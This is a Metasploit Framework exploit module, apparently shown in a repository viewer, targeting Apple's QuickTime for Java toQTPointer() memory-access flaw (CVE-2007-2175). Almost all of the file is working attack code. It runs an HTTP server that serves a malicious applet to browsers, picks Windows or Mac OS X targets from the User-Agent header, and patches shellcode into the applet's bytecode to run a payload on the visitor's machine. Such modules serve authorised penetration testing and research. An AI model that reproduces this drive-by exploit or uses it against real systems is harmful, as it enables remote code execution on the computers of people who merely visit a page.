Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / multi / browser / qtjava_pointer.rb @ master

History | View | Annotate | Download (5.2 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = ExcellentRanking
18

    
19
        #
20
        # This module acts as an HTTP server
21
        #
22
        include Msf::Exploit::Remote::HttpServer::HTML
23

    
24
        def initialize(info = {})
25
                super(update_info(info,
26
                        'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
27
                        'Description'    => %q{
28
                                This module exploits an arbitrary memory access vulnerability in the
29
                        Quicktime for Java API provided with Quicktime 7.
30

    
31
                        },
32
                        'License'        => MSF_LICENSE,
33
                        'Author'         =>
34
                        [
35
                                'hdm',           # Original exploit for Mac OS X PPC / Win32
36
                                'kf',            # Added support for Mac OS X X86
37
                                'ddz'            # Discovered bug, provided tips
38
                        ],
39
                        'Version'        => '$Revision$',
40
                        'References'     =>
41
                                [
42
                                        ['CVE',    '2007-2175'],
43
                                        ['OSVDB', '34178'],
44
                                        ['BID',    '23608'],
45
                                        ['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
46
                                ],
47
                        'Payload'        =>
48
                                {
49
                                        'Space'    => 1024,
50
                                        'BadChars' => ''
51
                                },
52
                        'Targets'        =>
53
                                [
54
#
55
# Problem with generic payloads + regenerate_payload still :(
56
#
57
#                                        [ 'Quicktime 7 Automatic',
58
#                                                {
59
#                                                        'Platform' => ['win', 'osx'],
60
#                                                        'Arch' => [ARCH_X86, ARCH_PPC]
61
#                                                }
62
#                                        ],
63
                                        [ 'Quicktime 7 on Windows x86',
64
                                                {
65
                                                        'Platform' => 'win',
66
                                                        'Arch' => ARCH_X86
67
                                                }
68
                                        ],
69
                                        [ 'Quicktime 7 on Mac OS X PPC',
70
                                                {
71
                                                        'Platform' => 'osx',
72
                                                        'Arch' => ARCH_PPC,
73
                                                }
74
                                        ],
75
                                        [ 'Quicktime 7 on Mac OS X x86',
76
                                                {
77
                                                        'Platform' => 'osx',
78
                                                        'Arch' => ARCH_X86,
79
                                                }
80
                                        ],
81
                                ],
82
#                        'DefaultTarget'  => 0,
83
                        'DisclosureDate' => 'Apr 23 2007'
84
                        ))
85
        end
86

    
87

    
88
        def exploit
89
                # load the class data
90
                path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")
91
                fd = File.open(path, "rb")
92
                @class_data = fd.read(fd.stat.size)
93
                fd.close
94

    
95
                super
96
        end
97

    
98

    
99
        def on_request_uri(cli, req)
100

    
101
                # Create a cached mapping between IP and detected target
102
                @targetcache ||= {}
103
                @targetcache[cli.peerhost] ||= {}
104
                @targetcache[cli.peerhost][:update] = Time.now.to_i
105

    
106
                if (target.name =~ /Automatic/)
107
                        case req.headers['User-Agent']
108
                        when /Windows/i
109
                                print_status("Choosing a Windows target")
110
                                @targetcache[cli.peerhost][:target] = self.targets[1]
111
                        when /PPC Mac OS X/i
112
                                print_status("Choosing a Mac OS X PPC target")
113
                                @targetcache[cli.peerhost][:target] = self.targets[2]
114
                        when /Intel Mac OS X/i
115
                                print_status("Choosing a Mac OS X x86 target")
116
                                @targetcache[cli.peerhost][:target] = self.targets[3]
117
                        end
118
                end
119

    
120
                # Clean the cache
121
                rmq = []
122
                @targetcache.each_key do |addr|
123
                        if (Time.now.to_i > @targetcache[addr][:update]+60)
124
                                rmq.push addr
125
                        end
126
                end
127

    
128
                rmq.each {|addr| @targetcache.delete(addr) }
129

    
130

    
131
                # Request processing
132

    
133
                if (not req.uri.match(/\.class$/i))
134

    
135
                        # Redirect to the base directory so the applet code loads...
136
                        if (not req.uri.match(/\/$/))
137
                                send_redirect(cli, get_resource() + '/', '')
138
                                return
139
                        end
140

    
141
                        # Display the applet loading HTML
142
                        print_status("Sending HTML")
143
                        send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
144
                        return
145
                end
146

    
147
                # Send the actual applet over
148
                print_status("Sending applet")
149
                send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
150

    
151
                # Handle the payload
152
                handler(cli)
153
        end
154

    
155
        def generate_html()
156
                return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
157
        end
158

    
159
        def generate_applet(cli, req)
160

    
161
                this_target = nil
162
                if (target.name =~ /Automatic/)
163
                        if (@targetcache[cli.peerhost][:target])
164
                                this_target = @targetcache[cli.peerhost][:target]
165
                        else
166
                                return ''
167
                        end
168
                else
169
                        this_target = target
170
                end
171

    
172
                # make a copy..
173
                data = @class_data.dup
174

    
175
                # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
176
                idx_targ = data.index("\x03\x10\xcc\x54")
177

    
178
                # 1024 bytes for shellcode
179
                idx_code = data.index("\x03\x10\xf0\x54")
180

    
181
                # Handle Mac OS X PPC
182
                if (this_target.arch.include?(ARCH_PPC))
183
                        tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
184
                        data = patch_bytecode(idx_code, data, tp.encoded)
185
                        data = patch_bytecode(idx_targ, data, "\x01")
186
                end
187

    
188
                # Handle Mac OS X x86 / Windows x86
189
                if (this_target.arch.include?(ARCH_X86))
190

    
191
                        if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
192
                                tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
193
                                data = patch_bytecode(idx_code, data, tp.encoded)
194
                                data = patch_bytecode(idx_targ, data, "\x03")
195
                        end
196

    
197
                        if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
198
                                tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
199
                                data = patch_bytecode(idx_code, data, tp.encoded)
200
                                data = patch_bytecode(idx_targ, data, "\x02")
201
                        end
202
                end
203

    
204
                return data
205
        end
206

    
207
        def patch_bytecode(off, data, buff)
208

    
209
                cnt = 0
210
                off -= 1
211
                while (cnt < buff.length)
212
                        cnt += 1
213
                        while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
214
                                off += 1
215
                        end
216
                        data[off]=buff[cnt-1]
217
                        off += 1
218
                end
219

    
220
                return data
221
        end
222

    
223

    
224
end